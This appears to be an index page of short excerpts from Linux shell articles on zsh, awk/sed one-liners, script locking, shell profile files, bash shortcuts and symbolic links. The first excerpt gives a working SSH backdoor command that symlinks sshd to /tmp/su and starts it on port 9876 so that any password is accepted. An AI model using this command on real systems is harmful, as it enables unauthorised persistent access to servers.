This backdoor has been tested on RHEL-5, 6, 7 and Debian 7, both work well. This command will open a SSH port and allow random password for valid user to login. # ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=9876 Typical authentication log on…

The Z shell can be thought of as an extended Bourne shell with a large number of improvements, including some features of bash, ksh, and tcsh. The first version of zsh was written by Paul Falstad in 1990, and as…

If you have ever been interested in awk and sed Unix commands, then you probably know about the awk1line.txt and sed1line.txt files that are floating around the Internet. Each file contains around 80 idiomatic sed and awk one-liners for performing…

Sometimes we need a single instance of a script to run at a time. Meaning, the script itself should detects whether any instances of himself are still running and act accordingly. When multiple instances of one script running, it’s easy…

Understanding the distinction between your shell types, profile files and shell rc files is important because when you apply modifications to your system you need to know where  to set variables in order to make sure that they can be…

Bash, which is the default shell in Linux contains a whole lot of key bindings which makes it really easy to use  The most commonly used shortcuts are listed below: Original version of this post is here at blogspot.com.

Symbolic linked files are commonly used in Linux system. For example some service inital scripts are stored in /etc/init.d and linked to /etc/rc0.d, /etc/rc1.d, /etc/rc2.d, /etc/rc3.d, /etc/rc4.d, /etc/rc5.d and /etc/rc6.d, so that the system is able to control related services…